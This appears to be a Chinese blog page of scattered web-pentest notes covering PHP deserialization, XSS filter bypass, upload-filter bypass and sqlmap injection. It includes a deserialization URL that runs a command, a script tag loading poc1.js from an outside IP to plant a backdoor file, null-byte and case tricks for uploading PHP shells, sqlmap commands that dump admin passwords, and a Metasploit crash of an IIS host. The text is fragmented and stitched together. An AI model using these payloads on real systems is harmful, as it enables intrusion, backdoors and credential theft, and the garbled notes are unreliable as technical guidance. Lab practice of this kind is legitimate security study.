qq_16163981的博客

http://192.168.1.5/pop/3.php?x=O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}

如果一个对象类中存在__toString魔术方法，这个对象类被当做字符串进行处理时，就会触发__toString魔术方法。// echo '__get 不存在成员变量'.$name.'
';// // __get()：访问不存在的成员变量时调用。//// 不存在成员变量spaceman，所以调用__get。////将对象当做函数调用 触发__invoke魔术方法。// 不存在xiaodi方法 触发__call魔术方法。//// 存在成员变量n，所以不调用__get。

事件关键字过滤 利用其他标签调用 双引号闭合。、全部实体化 利用标签事件 单引号闭合。、全部实体化 利用标签事件 双引号闭合。、利用Unicode编码（内容检测）、利用Unicode编码。、利用大小写未正则匹配。、实体化 输入框没有。

后台用户名输入 <script src="http://1.14.97.254/poc1.js"></script> 访问poc1.js文件触发跨站生成后门文件1.php。内容安全策略是一种可信白名单机制，来限制网站中是否可以包含某来源内容。该制度明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单，禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。禁止加载外域代码，防止复杂的攻击逻辑。，利于尽快修复问题。

于是我们在../templets../index.php。只允许../templets文件夹里面的文件。就能翻过文件夹删除其他文件。

读取flag.php。

靶场地址testphp.vulnweb.com/showimage.php?

伪协议文件读取文件读取： ../上级目录绝对路径file相对路径php。

加个空格改成0a 然后访问 存在解析漏洞。

【代码】047 代码缺陷。

PHP 内核是由 C 语言实现的，所以使用了 C 语言中的一些字符串处理函数。所以在这个地方，攻击者只要在最后加入一个 0 字节，就能截断 file 变量之后的字符串 PHP小于5.3版本可以输入a.php%00进行截断。然后不停的访问上传shell.php和不停的访问upload/shell.php就能生成xiao.php。禁止后缀为php的文件上传，由于系统特性区分大小写 于是可以1.PHp上传。写一个shell.php访问就生成一个xiao.php的后门文件。因为在下面 所以要对%00进行解码。

通过白名单 只允许上传jpg.png.gif文件改成1.php发送即可。

python .\sqlmap.py -u "http://localhost/new.php?id=1" --level=3 --risk=2 --proxy "http://127.0.0.1:8080/"

等级5 风险3压力拉满。

编写过滤脚本文件注入成功。

引用模块 --tamper=base64code。注入点是base64编码。引用base64模块。

先复制请求表头并保存在sqlmap的跟目录命名为head.txt 再把注入点打上*号。

所以我们的注入语句应该是：python ./sqlmap.py "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --tables。抓取登录数据包表单数据：uname=test&pass=test。

id=2" --dump -C "password,username,id" -T "admin" -D "demo01" 得到信息。权限都是有的，莫非我们不是root？emmmm不知道奥哈哈 反正不是root也不能确定。

用Linux输入msfconsole设置端口set rhosts 192.168.37.129run蓝屏成功IIS